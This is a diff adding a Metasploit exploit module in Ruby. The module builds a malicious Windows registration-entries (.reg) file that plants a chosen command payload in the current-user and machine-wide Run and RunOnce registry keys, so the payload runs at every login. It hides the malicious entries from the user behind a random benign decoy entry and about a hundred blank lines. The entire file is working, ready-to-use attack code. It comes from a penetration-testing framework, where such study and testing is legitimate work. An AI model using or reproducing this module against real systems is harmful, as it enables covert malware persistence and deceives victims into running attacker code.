|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = GreatRanking |
| 8 | + |
| 9 | + include Msf::Exploit::FILEFORMAT |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super( |
| 13 | + update_info( |
| 14 | + info, |
| 15 | + 'Name' => 'Malicious Windows Registration Entries (.reg) File', |
| 16 | + 'Description' => %q{ |
| 17 | + This module creates a Windows Registration Entries (.reg) file which |
| 18 | + adds the specified payload to the Windows Registry. The payload runs |
| 19 | + upon Windows login for the current user. If the user has elevated |
| 20 | + privileges when opening the file, the payload will run upon login |
| 21 | + when any user logs in. |
| 22 | +
|
| 23 | + The user will receive a warning prompt to confirm Registry changes |
| 24 | + when opening the file. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => [ |
| 28 | + 'bcoles' |
| 29 | + ], |
| 30 | + 'References' => [ |
| 31 | + ['URL', 'https://support.microsoft.com/en-us/topic/how-to-add-modify-or-delete-registry-subkeys-and-values-by-using-a-reg-file-9c7f37cf-a5e9-e1cd-c4fa-2a26218a1a23'], |
| 32 | + ['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'], |
| 33 | + ['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key'], |
| 34 | + ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], |
| 35 | + ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER], |
| 36 | + ], |
| 37 | + 'Arch' => [ARCH_CMD], |
| 38 | + 'Platform' => 'win', |
| 39 | + 'Payload' => { |
| 40 | + 'Space' => 244, # 255 minus "cmd.exe /c " prefix length |
| 41 | + 'BadChars' => "\x00", |
| 42 | + 'DisableNops' => true |
| 43 | + }, |
| 44 | + 'Targets' => [ |
| 45 | + [ |
| 46 | + 'Microsoft Windows 2000 or newer', |
| 47 | + { |
| 48 | + 'RegistryEditorVersion' => '5.00' |
| 49 | + } |
| 50 | + ], |
| 51 | + ], |
| 52 | + 'Privileged' => false, |
| 53 | + 'DisclosureDate' => '1995-08-24', |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'DefaultOptions' => { |
| 56 | + 'DisablePayloadHandler' => true |
| 57 | + }, |
| 58 | + 'Notes' => { |
| 59 | + 'Stability' => [CRASH_SAFE], |
| 60 | + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], |
| 61 | + 'SideEffects' => [SCREEN_EFFECTS] |
| 62 | + } |
| 63 | + ) |
| 64 | + ) |
| 65 | + |
| 66 | + register_options( |
| 67 | + [ |
| 68 | + OptString.new('FILENAME', [true, 'The registration entries file name.', 'msf.reg']), |
| 69 | + ] |
| 70 | + ) |
| 71 | + |
| 72 | + register_advanced_options([ |
| 73 | + OptBool.new('AddToCurrentUserWindowsCurrentVersionRun', [false, 'Add payload to login for current user.', true]), |
| 74 | + OptBool.new('AddToCurrentUserWindowsCurrentVersionRunOnce', [false, 'Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use.', false]), |
| 75 | + OptBool.new('AddToLocalMachineWindowsCurrentVersionRun', [false, 'Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions, but all other entries are still added successfully.', true]), |
| 76 | + OptBool.new('AddToLocalMachineWindowsCurrentVersionRunOnce', [false, 'Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.', false]), |
| 77 | + OptBool.new('PrependBenignEntry', [false, 'Prepend a benign registry entry at the start of the file.', true]), |
| 78 | + OptInt.new('PrependNewLines', [false, 'Prepend new lines before the first malicious registry entry.', 100]), |
| 79 | + ]) |
| 80 | + end |
| 81 | + |
| 82 | + # Create a registry entry in Windows .reg file format |
| 83 | + def registry_entry(path, type, key, value) |
| 84 | + # https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-element-size-limits |
| 85 | + raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255 |
| 86 | + raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300 |
| 87 | + |
| 88 | + # https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types |
| 89 | + raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ' |
| 90 | + |
| 91 | + escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"') |
| 92 | + reg_entry = "[#{path}]\r\n" |
| 93 | + reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n" |
| 94 | + vprint_status("Created registry entry:\n#{reg_entry}") |
| 95 | + reg_entry |
| 96 | + end |
| 97 | + |
| 98 | + # Format commands for use with the appropriate interpreter |
| 99 | + def format_commands(command_string) |
| 100 | + # Strip preceding whitespace as this would prevent execution |
| 101 | + raw_cmd = command_string.to_s.gsub(/^\s*/, '') |
| 102 | + |
| 103 | + # If the payload contains " & " we presume it is a command string. |
| 104 | + # |
| 105 | + # TODO: Change this once Metasploit is able to inform a module that |
| 106 | + # the specified ARCH_CMD payload is a string of commands |
| 107 | + # (not a single command). |
| 108 | + if raw_cmd.include?(' & ') |
| 109 | + cmd = "cmd.exe /c #{raw_cmd}" |
| 110 | + else |
| 111 | + cmd = raw_cmd |
| 112 | + end |
| 113 | + |
| 114 | + raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255 |
| 115 | + |
| 116 | + cmd |
| 117 | + end |
| 118 | + |
| 119 | + def exploit |
| 120 | + # File structure: |
| 121 | + # File header string |
| 122 | + # Benign registry entry (optional) |
| 123 | + # Visual whitespace padding (optional) |
| 124 | + # HKCU entries |
| 125 | + # HKLM entries (optional) |
| 126 | + reg = "Windows Registry Editor Version #{target['RegistryEditorVersion']}\r\n" |
| 127 | + reg << "\r\n" |
| 128 | + |
| 129 | + reg_entries = [] |
| 130 | + |
| 131 | + if datastore['PrependBenignEntry'] |
| 132 | + path = "HKEY_CURRENT_USER\\Software\\#{rand_text_alphanumeric(10..16)}" |
| 133 | + key = rand_text_alphanumeric(10..16) |
| 134 | + reg << registry_entry( |
| 135 | + path, |
| 136 | + 'REG_SZ', |
| 137 | + key, |
| 138 | + rand_text_alphanumeric(10..16) |
| 139 | + ) |
| 140 | + reg_entries << path + '\\' + key |
| 141 | + end |
| 142 | + |
| 143 | + reg << "\r\n" * datastore['PrependNewLines'] |
| 144 | + |
| 145 | + if datastore['AddToCurrentUserWindowsCurrentVersionRun'] |
| 146 | + path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' |
| 147 | + key = rand_text_alphanumeric(10..16) |
| 148 | + reg << registry_entry( |
| 149 | + path, |
| 150 | + 'REG_SZ', |
| 151 | + key, |
| 152 | + format_commands(payload.encoded) |
| 153 | + ) |
| 154 | + reg_entries << path + '\\' + key |
| 155 | + end |
| 156 | + |
| 157 | + if datastore['AddToCurrentUserWindowsCurrentVersionRunOnce'] |
| 158 | + path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce' |
| 159 | + key = rand_text_alphanumeric(10..16) |
| 160 | + reg << registry_entry( |
| 161 | + path, |
| 162 | + 'REG_SZ', |
| 163 | + key, |
| 164 | + format_commands(payload.encoded) |
| 165 | + ) |
| 166 | + reg_entries << path + '\\' + key |
| 167 | + end |
| 168 | + |
| 169 | + if datastore['AddToLocalMachineWindowsCurrentVersionRun'] |
| 170 | + path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' |
| 171 | + key = rand_text_alphanumeric(10..16) |
| 172 | + reg << registry_entry( |
| 173 | + path, |
| 174 | + 'REG_SZ', |
| 175 | + key, |
| 176 | + format_commands(payload.encoded) |
| 177 | + ) |
| 178 | + reg_entries << path + '\\' + key |
| 179 | + end |
| 180 | + |
| 181 | + if datastore['AddToLocalMachineWindowsCurrentVersionRunOnce'] |
| 182 | + path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce' |
| 183 | + key = rand_text_alphanumeric(10..16) |
| 184 | + reg << registry_entry( |
| 185 | + path, |
| 186 | + 'REG_SZ', |
| 187 | + key, |
| 188 | + format_commands(payload.encoded) |
| 189 | + ) |
| 190 | + reg_entries << path + '\\' + key |
| 191 | + end |
| 192 | + |
| 193 | + unless reg_entries |
| 194 | + fail_with(Failure::BadConfig, 'No registry entries were created! Check module advanced options.') |
| 195 | + end |
| 196 | + |
| 197 | + file_create(reg) |
| 198 | + |
| 199 | + print_status("This file will create the following registry keys:\n#{reg_entries.join("\n")}") |
| 200 | + rescue StandardError => e |
| 201 | + print_error(e.message) |
| 202 | + end |
| 203 | +end |
0 commit comments